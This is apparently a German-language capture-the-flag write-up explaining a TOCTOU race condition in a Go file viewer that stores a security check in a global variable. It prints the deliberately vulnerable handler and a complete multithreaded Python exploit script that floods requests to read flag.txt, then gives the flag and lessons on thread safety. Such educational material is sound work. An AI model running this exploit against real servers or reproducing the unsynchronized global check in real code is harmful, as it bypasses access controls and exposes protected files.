153 lines
6.0 KiB
Markdown
153 lines
6.0 KiB
Markdown
# Shared State of Mind
|
||
|
||
Willkommen zum Write-up für **Shared State of Mind**. Diese Challenge ist eine "Web"-Challenge, die in die gefährlichen Gewässer der Nebenläufigkeit in Go eintaucht. Sie demonstriert, warum globaler Zustand in einer nebenläufigen Umgebung (wie einem Webserver) ein Rezept für Desaster ist.
|
||
|
||
Uns wird ein "High-Performance File Viewer" präsentiert, der angeblich "Bloatware" wie Mutex-Locks entfernt hat. Unser Ziel ist es, die Datei `flag.txt` zu lesen, die durch eine Sicherheitsprüfung geschützt ist.
|
||
|
||
---
|
||
|
||
## 1. Erste Erkundung
|
||
|
||
Die Challenge stellt eine URL und ein herunterladbares Archiv `shared_state_of_mind.tar.xz` bereit.
|
||
Die Verbindung zur URL gibt uns eine Dateibetrachter-Schnittstelle (oder API). Wir können Dateien mit `?file=...` anfordern.
|
||
|
||
Wenn wir `?file=worker.go` versuchen, erhalten wir den Quellcode.
|
||
Wenn wir `?file=flag.txt` versuchen, erhalten wir:
|
||
`Security Check Failed: Forbidden`
|
||
|
||
## 2. Quellcode-Analyse
|
||
|
||
Das Archiv enthält zwei wichtige Go-Dateien: `gateway.go` und `worker.go`.
|
||
|
||
**`gateway.go`**:
|
||
Dies fungiert als Load Balancer/Proxy. Er weist jedem Benutzer eine eindeutige Sitzung zu und startet einen dedizierten `./worker`-Prozess für diesen Benutzer. Das bedeutet, dass unsere Anfragen an eine spezifische Instanz der Worker-Anwendung gehen, die nur uns zugewiesen ist.
|
||
|
||
**`worker.go`**:
|
||
Hier liegt die Schwachstelle. Schauen wir uns an, wie es Anfragen behandelt:
|
||
|
||
```go
|
||
// GLOBALE VARIABLE
|
||
var checkPassed bool
|
||
|
||
func handler(w http.ResponseWriter, r *http.Request) {
|
||
filename := r.URL.Query().Get("file")
|
||
|
||
// 1. Sicherheitsprüfung
|
||
if strings.Contains(filename, "flag") {
|
||
checkPassed = false
|
||
} else {
|
||
checkPassed = true
|
||
}
|
||
|
||
// 2. Logging (simuliert Verzögerung)
|
||
logAccess(filename)
|
||
|
||
// 3. Datei ausliefern
|
||
if checkPassed {
|
||
content, _ := ioutil.ReadFile(filename)
|
||
w.Write(content)
|
||
} else {
|
||
http.Error(w, "Forbidden", 403)
|
||
}
|
||
}
|
||
```
|
||
|
||
## 3. Die Schwachstelle: Race Condition
|
||
|
||
Die Variable `checkPassed` ist als **globale Variable** auf Paketebene definiert.
|
||
In Go erstellt `http.ListenAndServe` eine neue Goroutine für jede eingehende Anfrage. Das bedeutet, wenn mehrere Anfragen gleichzeitig eingehen, teilen sie sich alle den Zugriff auf die *selbe* `checkPassed`-Variable.
|
||
|
||
Dies erzeugt eine **Race Condition** (spezifisch ein Time-of-Check to Time-of-Use Problem):
|
||
|
||
1. **Anfrage A (Sicher)** kommt für `worker.go` rein. Sie setzt `checkPassed = true`.
|
||
2. **Anfrage B (Bösartig)** kommt für `flag.txt` rein. Sie setzt `checkPassed = false`.
|
||
3. **Anfrage A** pausiert kurz (z.B. während `logAccess` oder Kontextwechsel).
|
||
4. **Anfrage B** pausiert kurz.
|
||
5. **Anfrage A** setzt fort und überschreibt potenziell `checkPassed` zurück auf `true`, *nachdem* Anfrage B es auf false gesetzt hatte, aber *bevor* Anfrage B ihre finale Prüfung durchführt.
|
||
|
||
Wenn wir das Timing richtig hinbekommen, erreicht Anfrage B (die die Flagge anfordert) die Zeile `if checkPassed` genau in dem Moment, in dem Anfrage A die globale Variable auf `true` gesetzt hat.
|
||
|
||
## 4. Ausnutzungsstrategie
|
||
|
||
Um dies auszunutzen, müssen wir den Server gleichzeitig mit zwei Arten von Anfragen überfluten, unter Verwendung des **gleichen Session-Cookies** (damit sie denselben Worker-Prozess treffen):
|
||
|
||
1. **Sichere Anfragen:** Wiederholt nach einer erlaubten Datei fragen (z.B. `?file=worker.go`). Dies versucht ständig, `checkPassed = true` zu setzen.
|
||
2. **Bösartige Anfragen:** Wiederholt nach `?file=flag.txt` fragen. Dies versucht, die Flagge zu lesen.
|
||
|
||
Wir können ein einfaches Python-Skript mit mehreren Threads verwenden, um dies zu erreichen.
|
||
|
||
### Exploit-Skript
|
||
|
||
```python
|
||
import threading
|
||
import requests
|
||
import sys
|
||
import time
|
||
|
||
# --- ZIEL-KONFIGURATION ---
|
||
TARGET_URL = "http://challenge-url:1320/"
|
||
|
||
print("[*] Initializing Session...")
|
||
s = requests.Session()
|
||
try:
|
||
s.get(TARGET_URL)
|
||
except requests.exceptions.ConnectionError:
|
||
print(f"[-] Could not connect to {TARGET_URL}. Is the docker container running?")
|
||
sys.exit(1)
|
||
|
||
if 'ctf_session' not in s.cookies:
|
||
print("[-] Failed to get session cookie")
|
||
sys.exit(1)
|
||
|
||
print(f"[+] Session ID: {s.cookies['ctf_session']}")
|
||
cookie = {'ctf_session': s.cookies['ctf_session']}
|
||
|
||
def do_safe():
|
||
while True:
|
||
try:
|
||
requests.get(TARGET_URL + "?file=worker.go", cookies=cookie)
|
||
except:
|
||
pass
|
||
|
||
def do_exploit():
|
||
while True:
|
||
try:
|
||
r = requests.get(TARGET_URL + "?file=flag.txt", cookies=cookie)
|
||
if "{flag: " in r.text:
|
||
print(f"\n\n[SUCCESS] Flag Found: {r.text}\n")
|
||
sys.exit(0)
|
||
except:
|
||
pass
|
||
|
||
print("[*] Starting threads... (Press Ctrl+C to stop)")
|
||
|
||
# Hohes Volumen an sicheren Threads, um den Schalter umzulegen
|
||
for i in range(10):
|
||
t = threading.Thread(target=do_safe)
|
||
t.daemon = True
|
||
t.start()
|
||
|
||
# Exploit-Thread
|
||
for i in range(1):
|
||
t = threading.Thread(target=do_exploit)
|
||
t.daemon = True
|
||
t.start()
|
||
|
||
while True:
|
||
time.sleep(1)
|
||
```
|
||
|
||
## 5. Die Lösung
|
||
|
||
Das Ausführen des Exploit-Skripts gegen das Ziel verursacht eine Race Condition. Innerhalb weniger Sekunden wird eine der bösartigen Anfragen das Rennen "gewinnen" – durch die Prüfung schlüpfen, weil eine gleichzeitige sichere Anfrage den globalen Schalter auf `true` gesetzt hat.
|
||
|
||
**Flag:** `{flag: D0nt_Sh4r3_M3m0ry_Just_P4ss_Th3_Fl4g}`
|
||
|
||
## Gelernte Lektionen
|
||
|
||
* **Vermeide globalen Zustand:** Verwenden Sie niemals globale Variablen, um anfragespezifische Daten in einem Webserver zu speichern. Verwenden Sie lokale Variablen oder übergeben Sie Daten durch den Funktionskontext.
|
||
* **Nebenläufigkeit ist schwer:** Nur weil Code sequenziell aussieht, heißt das nicht, dass er relativ zu anderen Anfragen sequenziell ausgeführt wird.
|
||
* **Threadsicherheit:** Wenn Sie geteilten Zustand verwenden müssen, schützen Sie ihn immer mit Synchronisationsprimitiven wie Mutexes, oder besser noch, verwenden Sie Go's Channels, um sicher zu kommunizieren.
|
||
|
||
Frohes Hacken!
|